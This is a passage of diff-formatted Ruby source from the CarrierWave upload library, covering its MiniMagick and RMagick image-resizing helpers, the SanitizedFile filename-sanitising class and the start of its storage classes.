|
#
|
||||||
|
# === Note
|
||||||
|
#
|
||||||
|
# MiniMagick is a mini replacement for RMagick that uses the command line
|
||||||
|
# tool "mogrify" for image manipulation.
|
||||||
|
#
|
||||||
|
# You can find more information here:
|
||||||
|
#
|
||||||
|
# http://mini_magick.rubyforge.org/
|
||||||
|
# and
|
||||||
|
# http://github.com/probablycorey/mini_magick/
|
||||||
|
#
|
||||||
|
#
|
||||||
|
module MiniMagick
|
||||||
|
extend ActiveSupport::Concern
|
||||||
|
|
||||||
|
module ClassMethods
|
||||||
|
def convert(format)
|
||||||
|
process :convert => format
|
||||||
|
end
|
||||||
|
|
||||||
|
def resize_to_limit(width, height)
|
||||||
|
process :resize_to_limit => [width, height]
|
||||||
|
end
|
||||||
|
|
||||||
|
def resize_to_fit(width, height)
|
||||||
|
process :resize_to_fit => [width, height]
|
||||||
|
end
|
||||||
|
|
||||||
|
def resize_to_fill(width, height, gravity='Center')
|
||||||
|
process :resize_to_fill => [width, height, gravity]
|
||||||
|
end
|
||||||
|
|
||||||
|
def resize_and_pad(width, height, background=:transparent, gravity=::Magick::CenterGravity)
|
||||||
|
process :resize_and_pad => [width, height, background, gravity]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Changes the image encoding format to the given format
|
||||||
|
#
|
||||||
|
# See http://www.imagemagick.org/script/command-line-options.php#format
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [format (#to_s)] an abreviation of the format
|
||||||
|
#
|
||||||
|
# === Yields
|
||||||
|
#
|
||||||
|
# [MiniMagick::Image] additional manipulations to perform
|
||||||
|
#
|
||||||
|
# === Examples
|
||||||
|
#
|
||||||
|
# image.convert(:png)
|
||||||
|
#
|
||||||
|
def convert(format)
|
||||||
|
manipulate! do |img|
|
||||||
|
img.format(format.to_s.downcase)
|
||||||
|
img = yield(img) if block_given?
|
||||||
|
img
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Resize the image to fit within the specified dimensions while retaining
|
||||||
|
# the original aspect ratio. Will only resize the image if it is larger than the
|
||||||
|
# specified dimensions. The resulting image may be shorter or narrower than specified
|
||||||
|
# in the smaller dimension but will not be larger than the specified values.
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [width (Integer)] the width to scale the image to
|
||||||
|
# [height (Integer)] the height to scale the image to
|
||||||
|
#
|
||||||
|
# === Yields
|
||||||
|
#
|
||||||
|
# [MiniMagick::Image] additional manipulations to perform
|
||||||
|
#
|
||||||
|
def resize_to_limit(width, height)
|
||||||
|
manipulate! do |img|
|
||||||
|
img.resize "#{width}x#{height}>"
|
||||||
|
img = yield(img) if block_given?
|
||||||
|
img
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Resize the image to fit within the specified dimensions while retaining
|
||||||
|
# the original aspect ratio. The image may be shorter or narrower than
|
||||||
|
# specified in the smaller dimension but will not be larger than the specified values.
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [width (Integer)] the width to scale the image to
|
||||||
|
# [height (Integer)] the height to scale the image to
|
||||||
|
#
|
||||||
|
# === Yields
|
||||||
|
#
|
||||||
|
# [MiniMagick::Image] additional manipulations to perform
|
||||||
|
#
|
||||||
|
def resize_to_fit(width, height)
|
||||||
|
manipulate! do |img|
|
||||||
|
img.resize "#{width}x#{height}"
|
||||||
|
img = yield(img) if block_given?
|
||||||
|
img
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Resize the image to fit within the specified dimensions while retaining
|
||||||
|
# the aspect ratio of the original image. If necessary, crop the image in the
|
||||||
|
# larger dimension.
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [width (Integer)] the width to scale the image to
|
||||||
|
# [height (Integer)] the height to scale the image to
|
||||||
|
# [gravity (String)] the current gravity suggestion (default: 'Center'; options: 'NorthWest', 'North', 'NorthEast', 'West', 'Center', 'East', 'SouthWest', 'South', 'SouthEast')
|
||||||
|
#
|
||||||
|
# === Yields
|
||||||
|
#
|
||||||
|
# [MiniMagick::Image] additional manipulations to perform
|
||||||
|
#
|
||||||
|
def resize_to_fill(width, height, gravity = 'Center')
|
||||||
|
manipulate! do |img|
|
||||||
|
cols, rows = img[:dimensions]
|
||||||
|
img.combine_options do |cmd|
|
||||||
|
if width != cols || height != rows
|
||||||
|
scale = [width/cols.to_f, height/rows.to_f].max
|
||||||
|
cols = (scale * (cols + 0.5)).round
|
||||||
|
rows = (scale * (rows + 0.5)).round
|
||||||
|
cmd.resize "#{cols}x#{rows}"
|
||||||
|
end
|
||||||
|
cmd.gravity gravity
|
||||||
|
cmd.background "rgba(255,255,255,0.0)"
|
||||||
|
cmd.extent "#{width}x#{height}" if cols != width || rows != height
|
||||||
|
end
|
||||||
|
img = yield(img) if block_given?
|
||||||
|
img
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Resize the image to fit within the specified dimensions while retaining
|
||||||
|
# the original aspect ratio. If necessary, will pad the remaining area
|
||||||
|
# with the given color, which defaults to transparent (for gif and png,
|
||||||
|
# white for jpeg).
|
||||||
|
#
|
||||||
|
# See http://www.imagemagick.org/script/command-line-options.php#gravity
|
||||||
|
# for gravity options.
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [width (Integer)] the width to scale the image to
|
||||||
|
# [height (Integer)] the height to scale the image to
|
||||||
|
# [background (String, :transparent)] the color of the background as a hexcode, like "#ff45de"
|
||||||
|
# [gravity (String)] how to position the image
|
||||||
|
#
|
||||||
|
# === Yields
|
||||||
|
#
|
||||||
|
# [MiniMagick::Image] additional manipulations to perform
|
||||||
|
#
|
||||||
|
def resize_and_pad(width, height, background=:transparent, gravity='Center')
|
||||||
|
manipulate! do |img|
|
||||||
|
img.combine_options do |cmd|
|
||||||
|
cmd.thumbnail "#{width}x#{height}>"
|
||||||
|
if background == :transparent
|
||||||
|
cmd.background "rgba(255, 255, 255, 0.0)"
|
||||||
|
else
|
||||||
|
cmd.background background
|
||||||
|
end
|
||||||
|
cmd.gravity gravity
|
||||||
|
cmd.extent "#{width}x#{height}"
|
||||||
|
end
|
||||||
|
img = yield(img) if block_given?
|
||||||
|
img
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Manipulate the image with MiniMagick. This method will load up an image
|
||||||
|
# and then pass each of its frames to the supplied block. It will then
|
||||||
|
# save the image to disk.
|
||||||
|
#
|
||||||
|
# === Gotcha
|
||||||
|
#
|
||||||
|
# This method assumes that the object responds to +current_path+.
|
||||||
|
# Any class that this module is mixed into must have a +current_path+ method.
|
||||||
|
# CarrierWave::Uploader does, so you won't need to worry about this in
|
||||||
|
# most cases.
|
||||||
|
#
|
||||||
|
# === Yields
|
||||||
|
#
|
||||||
|
# [MiniMagick::Image] manipulations to perform
|
||||||
|
#
|
||||||
|
# === Raises
|
||||||
|
#
|
||||||
|
# [CarrierWave::ProcessingError] if manipulation failed.
|
||||||
|
#
|
||||||
|
def manipulate!
|
||||||
|
cache_stored_file! if !cached?
|
||||||
|
image = ::MiniMagick::Image.open(current_path)
|
||||||
|
image = yield(image)
|
||||||
|
image.write(current_path)
|
||||||
|
::MiniMagick::Image.open(current_path)
|
||||||
|
rescue ::MiniMagick::Error, ::MiniMagick::Invalid => e
|
||||||
|
raise CarrierWave::ProcessingError, I18n.translate(:"errors.messages.mini_magick_processing_error", :e => e)
|
||||||
|
end
|
||||||
|
|
||||||
|
end # MiniMagick
|
||||||
|
end # CarrierWave
|
|
@ -0,0 +1,284 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
unless defined? Magick
|
||||||
|
begin
|
||||||
|
require 'rmagick'
|
||||||
|
rescue LoadError
|
||||||
|
require 'RMagick'
|
||||||
|
rescue LoadError
|
||||||
|
puts "WARNING: Failed to require rmagick, image processing may fail!"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
|
||||||
|
##
|
||||||
|
# This module simplifies manipulation with RMagick by providing a set
|
||||||
|
# of convenient helper methods. If you want to use them, you'll need to
|
||||||
|
# require this file:
|
||||||
|
#
|
||||||
|
# require 'carrierwave/processing/rmagick'
|
||||||
|
#
|
||||||
|
# And then include it in your uploader:
|
||||||
|
#
|
||||||
|
# class MyUploader < CarrierWave::Uploader::Base
|
||||||
|
# include CarrierWave::RMagick
|
||||||
|
# end
|
||||||
|
#
|
||||||
|
# You can now use the provided helpers:
|
||||||
|
#
|
||||||
|
# class MyUploader < CarrierWave::Uploader::Base
|
||||||
|
# include CarrierWave::RMagick
|
||||||
|
#
|
||||||
|
# process :resize_to_fit => [200, 200]
|
||||||
|
# end
|
||||||
|
#
|
||||||
|
# Or create your own helpers with the powerful manipulate! method. Check
|
||||||
|
# out the RMagick docs at http://www.imagemagick.org/RMagick/doc/ for more
|
||||||
|
# info
|
||||||
|
#
|
||||||
|
# class MyUploader < CarrierWave::Uploader::Base
|
||||||
|
# include CarrierWave::RMagick
|
||||||
|
#
|
||||||
|
# process :do_stuff => 10.0
|
||||||
|
#
|
||||||
|
# def do_stuff(blur_factor)
|
||||||
|
# manipulate! do |img|
|
||||||
|
# img = img.sepiatone
|
||||||
|
# img = img.auto_orient
|
||||||
|
# img = img.radial_blur(blur_factor)
|
||||||
|
# end
|
||||||
|
# end
|
||||||
|
# end
|
||||||
|
#
|
||||||
|
# === Note
|
||||||
|
#
|
||||||
|
# You should be aware how RMagick handles memory. manipulate! takes care
|
||||||
|
# of freeing up memory for you, but for optimum memory usage you should
|
||||||
|
# use destructive operations as much as possible:
|
||||||
|
#
|
||||||
|
# DON'T DO THIS:
|
||||||
|
# img = img.resize_to_fit
|
||||||
|
#
|
||||||
|
# DO THIS INSTEAD:
|
||||||
|
# img.resize_to_fit!
|
||||||
|
#
|
||||||
|
# Read this for more information why:
|
||||||
|
#
|
||||||
|
# http://rubyforge.org/forum/forum.php?thread_id=1374&forum_id=1618
|
||||||
|
#
|
||||||
|
module RMagick
|
||||||
|
extend ActiveSupport::Concern
|
||||||
|
|
||||||
|
module ClassMethods
|
||||||
|
def convert(format)
|
||||||
|
process :convert => format
|
||||||
|
end
|
||||||
|
|
||||||
|
def resize_to_limit(width, height)
|
||||||
|
process :resize_to_limit => [width, height]
|
||||||
|
end
|
||||||
|
|
||||||
|
def resize_to_fit(width, height)
|
||||||
|
process :resize_to_fit => [width, height]
|
||||||
|
end
|
||||||
|
|
||||||
|
def resize_to_fill(width, height, gravity=::Magick::CenterGravity)
|
||||||
|
process :resize_to_fill => [width, height, gravity]
|
||||||
|
end
|
||||||
|
|
||||||
|
def resize_and_pad(width, height, background=:transparent, gravity=::Magick::CenterGravity)
|
||||||
|
process :resize_and_pad => [width, height, background, gravity]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Changes the image encoding format to the given format
|
||||||
|
#
|
||||||
|
# See even http://www.imagemagick.org/RMagick/doc/magick.html#formats
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [format (#to_s)] an abreviation of the format
|
||||||
|
#
|
||||||
|
# === Yields
|
||||||
|
#
|
||||||
|
# [Magick::Image] additional manipulations to perform
|
||||||
|
#
|
||||||
|
# === Examples
|
||||||
|
#
|
||||||
|
# image.convert(:png)
|
||||||
|
#
|
||||||
|
def convert(format)
|
||||||
|
manipulate!(:format => format)
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Resize the image to fit within the specified dimensions while retaining
|
||||||
|
# the original aspect ratio. Will only resize the image if it is larger than the
|
||||||
|
# specified dimensions. The resulting image may be shorter or narrower than specified
|
||||||
|
# in the smaller dimension but will not be larger than the specified values.
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [width (Integer)] the width to scale the image to
|
||||||
|
# [height (Integer)] the height to scale the image to
|
||||||
|
#
|
||||||
|
# === Yields
|
||||||
|
#
|
||||||
|
# [Magick::Image] additional manipulations to perform
|
||||||
|
#
|
||||||
|
def resize_to_limit(width, height)
|
||||||
|
manipulate! do |img|
|
||||||
|
geometry = Magick::Geometry.new(width, height, 0, 0, Magick::GreaterGeometry)
|
||||||
|
new_img = img.change_geometry(geometry) do |new_width, new_height|
|
||||||
|
img.resize(new_width, new_height)
|
||||||
|
end
|
||||||
|
destroy_image(img)
|
||||||
|
new_img = yield(new_img) if block_given?
|
||||||
|
new_img
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# From the RMagick documentation: "Resize the image to fit within the
|
||||||
|
# specified dimensions while retaining the original aspect ratio. The
|
||||||
|
# image may be shorter or narrower than specified in the smaller dimension
|
||||||
|
# but will not be larger than the specified values."
|
||||||
|
#
|
||||||
|
# See even http://www.imagemagick.org/RMagick/doc/image3.html#resize_to_fit
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [width (Integer)] the width to scale the image to
|
||||||
|
# [height (Integer)] the height to scale the image to
|
||||||
|
#
|
||||||
|
# === Yields
|
||||||
|
#
|
||||||
|
# [Magick::Image] additional manipulations to perform
|
||||||
|
#
|
||||||
|
def resize_to_fit(width, height)
|
||||||
|
manipulate! do |img|
|
||||||
|
img.resize_to_fit!(width, height)
|
||||||
|
img = yield(img) if block_given?
|
||||||
|
img
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# From the RMagick documentation: "Resize the image to fit within the
|
||||||
|
# specified dimensions while retaining the aspect ratio of the original
|
||||||
|
# image. If necessary, crop the image in the larger dimension."
|
||||||
|
#
|
||||||
|
# See even http://www.imagemagick.org/RMagick/doc/image3.html#resize_to_fill
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [width (Integer)] the width to scale the image to
|
||||||
|
# [height (Integer)] the height to scale the image to
|
||||||
|
#
|
||||||
|
# === Yields
|
||||||
|
#
|
||||||
|
# [Magick::Image] additional manipulations to perform
|
||||||
|
#
|
||||||
|
def resize_to_fill(width, height, gravity=::Magick::CenterGravity)
|
||||||
|
manipulate! do |img|
|
||||||
|
img.crop_resized!(width, height, gravity)
|
||||||
|
img = yield(img) if block_given?
|
||||||
|
img
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Resize the image to fit within the specified dimensions while retaining
|
||||||
|
# the original aspect ratio. If necessary, will pad the remaining area
|
||||||
|
# with the given color, which defaults to transparent (for gif and png,
|
||||||
|
# white for jpeg).
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [width (Integer)] the width to scale the image to
|
||||||
|
# [height (Integer)] the height to scale the image to
|
||||||
|
# [background (String, :transparent)] the color of the background as a hexcode, like "#ff45de"
|
||||||
|
# [gravity (Magick::GravityType)] how to position the image
|
||||||
|
#
|
||||||
|
# === Yields
|
||||||
|
#
|
||||||
|
# [Magick::Image] additional manipulations to perform
|
||||||
|
#
|
||||||
|
def resize_and_pad(width, height, background=:transparent, gravity=::Magick::CenterGravity)
|
||||||
|
manipulate! do |img|
|
||||||
|
img.resize_to_fit!(width, height)
|
||||||
|
new_img = ::Magick::Image.new(width, height)
|
||||||
|
if background == :transparent
|
||||||
|
filled = new_img.matte_floodfill(1, 1)
|
||||||
|
else
|
||||||
|
filled = new_img.color_floodfill(1, 1, ::Magick::Pixel.from_color(background))
|
||||||
|
end
|
||||||
|
destroy_image(new_img)
|
||||||
|
filled.composite!(img, gravity, ::Magick::OverCompositeOp)
|
||||||
|
destroy_image(img)
|
||||||
|
filled = yield(filled) if block_given?
|
||||||
|
filled
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Manipulate the image with RMagick. This method will load up an image
|
||||||
|
# and then pass each of its frames to the supplied block. It will then
|
||||||
|
# save the image to disk.
|
||||||
|
#
|
||||||
|
# === Gotcha
|
||||||
|
#
|
||||||
|
# This method assumes that the object responds to +current_path+.
|
||||||
|
# Any class that this module is mixed into must have a +current_path+ method.
|
||||||
|
# CarrierWave::Uploader does, so you won't need to worry about this in
|
||||||
|
# most cases.
|
||||||
|
#
|
||||||
|
# === Yields
|
||||||
|
#
|
||||||
|
# [Magick::Image] manipulations to perform
|
||||||
|
#
|
||||||
|
# === Raises
|
||||||
|
#
|
||||||
|
# [CarrierWave::ProcessingError] if manipulation failed.
|
||||||
|
#
|
||||||
|
def manipulate!(options={}, &block)
|
||||||
|
cache_stored_file! if !cached?
|
||||||
|
image = ::Magick::Image.read(current_path)
|
||||||
|
|
||||||
|
frames = if image.size > 1
|
||||||
|
list = ::Magick::ImageList.new
|
||||||
|
image.each_with_index do |frame, index|
|
||||||
|
processed_frame = if block_given?
|
||||||
|
yield *[frame, index].take(block.arity)
|
||||||
|
else
|
||||||
|
frame
|
||||||
|
end
|
||||||
|
list << processed_frame if processed_frame
|
||||||
|
end
|
||||||
|
block_given? ? list : list.append(true)
|
||||||
|
else
|
||||||
|
frame = image.first
|
||||||
|
frame = yield( *[frame, 0].take(block.arity) ) if block_given?
|
||||||
|
frame
|
||||||
|
end
|
||||||
|
|
||||||
|
if options[:format]
|
||||||
|
frames.write("#{options[:format]}:#{current_path}")
|
||||||
|
else
|
||||||
|
frames.write(current_path)
|
||||||
|
end
|
||||||
|
destroy_image(frames)
|
||||||
|
rescue ::Magick::ImageMagickError => e
|
||||||
|
raise CarrierWave::ProcessingError, I18n.translate(:"errors.messages.rmagick_processing_error", :e => e)
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
def destroy_image(image)
|
||||||
|
image.destroy! if image.respond_to?(:destroy!)
|
||||||
|
end
|
||||||
|
|
||||||
|
end # RMagick
|
||||||
|
end # CarrierWave
|
|
@ -0,0 +1,315 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
require 'pathname'
|
||||||
|
require 'active_support/core_ext/string/multibyte'
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
|
||||||
|
##
|
||||||
|
# SanitizedFile is a base class which provides a common API around all
|
||||||
|
# the different quirky Ruby File libraries. It has support for Tempfile,
|
||||||
|
# File, StringIO, Merb-style upload Hashes, as well as paths given as
|
||||||
|
# Strings and Pathnames.
|
||||||
|
#
|
||||||
|
# It's probably needlessly comprehensive and complex. Help is appreciated.
|
||||||
|
#
|
||||||
|
class SanitizedFile
|
||||||
|
|
||||||
|
attr_accessor :file
|
||||||
|
|
||||||
|
class << self
|
||||||
|
attr_writer :sanitize_regexp
|
||||||
|
|
||||||
|
def sanitize_regexp
|
||||||
|
@sanitize_regexp ||= /[^a-zA-Z0-9\.\-\+_]/
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def initialize(file)
|
||||||
|
self.file = file
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Returns the filename as is, without sanizting it.
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [String] the unsanitized filename
|
||||||
|
#
|
||||||
|
def original_filename
|
||||||
|
return @original_filename if @original_filename
|
||||||
|
if @file and @file.respond_to?(:original_filename)
|
||||||
|
@file.original_filename
|
||||||
|
elsif path
|
||||||
|
File.basename(path)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Returns the filename, sanitized to strip out any evil characters.
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [String] the sanitized filename
|
||||||
|
#
|
||||||
|
def filename
|
||||||
|
sanitize(original_filename) if original_filename
|
||||||
|
end
|
||||||
|
|
||||||
|
alias_method :identifier, :filename
|
||||||
|
|
||||||
|
##
|
||||||
|
# Returns the part of the filename before the extension. So if a file is called 'test.jpeg'
|
||||||
|
# this would return 'test'
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [String] the first part of the filename
|
||||||
|
#
|
||||||
|
def basename
|
||||||
|
split_extension(filename)[0] if filename
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Returns the file extension
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [String] the extension
|
||||||
|
#
|
||||||
|
def extension
|
||||||
|
split_extension(filename)[1] if filename
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Returns the file's size.
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [Integer] the file's size in bytes.
|
||||||
|
#
|
||||||
|
def size
|
||||||
|
if is_path?
|
||||||
|
exists? ? File.size(path) : 0
|
||||||
|
elsif @file.respond_to?(:size)
|
||||||
|
@file.size
|
||||||
|
elsif path
|
||||||
|
exists? ? File.size(path) : 0
|
||||||
|
else
|
||||||
|
0
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Returns the full path to the file. If the file has no path, it will return nil.
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [String, nil] the path where the file is located.
|
||||||
|
#
|
||||||
|
def path
|
||||||
|
unless @file.blank?
|
||||||
|
if is_path?
|
||||||
|
File.expand_path(@file)
|
||||||
|
elsif @file.respond_to?(:path) and not @file.path.blank?
|
||||||
|
File.expand_path(@file.path)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [Boolean] whether the file is supplied as a pathname or string.
|
||||||
|
#
|
||||||
|
def is_path?
|
||||||
|
!!((@file.is_a?(String) || @file.is_a?(Pathname)) && !@file.blank?)
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [Boolean] whether the file is valid and has a non-zero size
|
||||||
|
#
|
||||||
|
def empty?
|
||||||
|
@file.nil? || self.size.nil? || (self.size.zero? && ! self.exists?)
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [Boolean] Whether the file exists
|
||||||
|
#
|
||||||
|
def exists?
|
||||||
|
return File.exists?(self.path) if self.path
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Returns the contents of the file.
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [String] contents of the file
|
||||||
|
#
|
||||||
|
def read
|
||||||
|
if is_path?
|
||||||
|
File.open(@file, "rb") {|file| file.read}
|
||||||
|
else
|
||||||
|
@file.rewind if @file.respond_to?(:rewind)
|
||||||
|
@file.read
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Moves the file to the given path
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [new_path (String)] The path where the file should be moved.
|
||||||
|
# [permissions (Integer)] permissions to set on the file in its new location.
|
||||||
|
#
|
||||||
|
def move_to(new_path, permissions=nil)
|
||||||
|
return if self.empty?
|
||||||
|
new_path = File.expand_path(new_path)
|
||||||
|
|
||||||
|
mkdir!(new_path)
|
||||||
|
if exists?
|
||||||
|
FileUtils.mv(path, new_path) unless new_path == path
|
||||||
|
else
|
||||||
|
File.open(new_path, "wb") { |f| f.write(read) }
|
||||||
|
end
|
||||||
|
chmod!(new_path, permissions)
|
||||||
|
self.file = new_path
|
||||||
|
self
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Creates a copy of this file and moves it to the given path. Returns the copy.
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
# [new_path (String)] The path where the file should be copied to.
|
||||||
|
# [permissions (Integer)] permissions to set on the copy
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# @return [CarrierWave::SanitizedFile] the location where the file will be stored.
|
||||||
|
#
|
||||||
|
def copy_to(new_path, permissions=nil)
|
||||||
|
return if self.empty?
|
||||||
|
new_path = File.expand_path(new_path)
|
||||||
|
|
||||||
|
mkdir!(new_path)
|
||||||
|
if exists?
|
||||||
|
FileUtils.cp(path, new_path) unless new_path == path
|
||||||
|
else
|
||||||
|
File.open(new_path, "wb") { |f| f.write(read) }
|
||||||
|
end
|
||||||
|
chmod!(new_path, permissions)
|
||||||
|
self.class.new({:tempfile => new_path, :content_type => content_type})
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Removes the file from the filesystem.
|
||||||
|
#
|
||||||
|
def delete
|
||||||
|
FileUtils.rm(self.path) if exists?
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Returns a File object, or nil if it does not exist.
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [File] a File object representing the SanitizedFile
|
||||||
|
#
|
||||||
|
def to_file
|
||||||
|
return @file if @file.is_a?(File)
|
||||||
|
File.open(path) if exists?
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Returns the content type of the file.
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [String] the content type of the file
|
||||||
|
#
|
||||||
|
def content_type
|
||||||
|
return @content_type if @content_type
|
||||||
|
@file.content_type.to_s.chomp if @file.respond_to?(:content_type) and @file.content_type
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Sets the content type of the file.
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [String] the content type of the file
|
||||||
|
#
|
||||||
|
def content_type=(type)
|
||||||
|
@content_type = type
|
||||||
|
end
|
||||||
|
|
||||||
|
##
|
||||||
|
# Used to sanitize the file name. Public to allow overriding for non-latin characters.
|
||||||
|
#
|
||||||
|
# === Returns
|
||||||
|
#
|
||||||
|
# [Regexp] the regexp for sanitizing the file name
|
||||||
|
#
|
||||||
|
def sanitize_regexp
|
||||||
|
CarrierWave::SanitizedFile.sanitize_regexp
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
def file=(file)
|
||||||
|
if file.is_a?(Hash)
|
||||||
|
@file = file["tempfile"] || file[:tempfile]
|
||||||
|
@original_filename = file["filename"] || file[:filename]
|
||||||
|
@content_type = file["content_type"] || file[:content_type]
|
||||||
|
else
|
||||||
|
@file = file
|
||||||
|
@original_filename = nil
|
||||||
|
@content_type = nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# create the directory if it doesn't exist
|
||||||
|
def mkdir!(path)
|
||||||
|
FileUtils.mkdir_p(File.dirname(path)) unless File.exists?(File.dirname(path))
|
||||||
|
end
|
||||||
|
|
||||||
|
def chmod!(path, permissions)
|
||||||
|
File.chmod(permissions, path) if permissions
|
||||||
|
end
|
||||||
|
|
||||||
|
# Sanitize the filename, to prevent hacking
|
||||||
|
def sanitize(name)
|
||||||
|
name = name.gsub("\\", "/") # work-around for IE
|
||||||
|
name = File.basename(name)
|
||||||
|
name = name.gsub(sanitize_regexp,"_")
|
||||||
|
name = "_#{name}" if name =~ /\A\.+\z/
|
||||||
|
name = "unnamed" if name.size == 0
|
||||||
|
return name.mb_chars.to_s
|
||||||
|
end
|
||||||
|
|
||||||
|
def split_extension(filename)
|
||||||
|
# regular expressions to try for identifying extensions
|
||||||
|
extension_matchers = [
|
||||||
|
/\A(.+)\.(tar\.gz)\z/, # matches "something.tar.gz"
|
||||||
|
/\A(.+)\.([^\.]+)\z/ # matches "something.jpg"
|
||||||
|
]
|
||||||
|
|
||||||
|
extension_matchers.each do |regexp|
|
||||||
|
if filename =~ regexp
|
||||||
|
return $1, $2
|
||||||
|
end
|
||||||
|
end
|
||||||
|
return filename, "" # In case we weren't able to split the extension
|
||||||
|
end
|
||||||
|
|
||||||
|
end # SanitizedFile
|
||||||
|
end # CarrierWave
|
|
@ -0,0 +1,30 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
module Storage
|
||||||
|
|
||||||
|
##
|
||||||
|
# This file serves mostly as a specification for Storage engines. There is no requirement
|
||||||
|
# that storage engines must be a subclass of this class.
|
||||||
|
#
|
||||||
|
class Abstract
|
||||||
|
|
||||||
|
attr_reader :uploader
|
||||||
|
|
||||||
|
def initialize(uploader)
|
||||||
|
@uploader = uploader
|
||||||
|
end
|
||||||
|
|
||||||
|
def identifier
|
||||||
|
uploader.filename
|
||||||
|
end
|
||||||
|
|
||||||
|
def store!(file)
|
||||||
|
end
|
||||||
|
|
||||||
|
def retrieve!(identifier)
|
||||||
|
end
|
||||||
|
|
||||||
|
end # Abstract
|
||||||
|
end # Storage
|
||||||
|
end # CarrierWave
|
|
@ -0,0 +1,56 @@
|
||||||
|
# encoding: utf-8
|
||||||
|
|
||||||
|
module CarrierWave
|
||||||
|
module Storage
|
||||||
|
|
||||||
|
##
|
||||||
|
# File storage stores file to the Filesystem (surprising, no?). There's really not much
|
||||||
|
# to it, it uses the store_dir defined on the uploader as the storage location. That's
|
||||||
|
# pretty much it.
|
||||||
|
#
|
||||||
|
class File < Abstract
|
||||||
|
|
||||||
|
##
|
||||||
|
# Move the file to the uploader's store path.
|
||||||
|
#
|
||||||
|
# By default, store!() uses copy_to(), which operates by copying the file
|
||||||
|
# from the cache to the store, then deleting the file from the cache.
|
||||||
|
# If move_to_store() is overriden to return true, then store!() uses move_to(),
|
||||||
|
# which simply moves the file from cache to store. Useful for large files.
|
||||||
|
#
|
||||||
|
# === Parameters
|
||||||
|
#
|
||||||
|
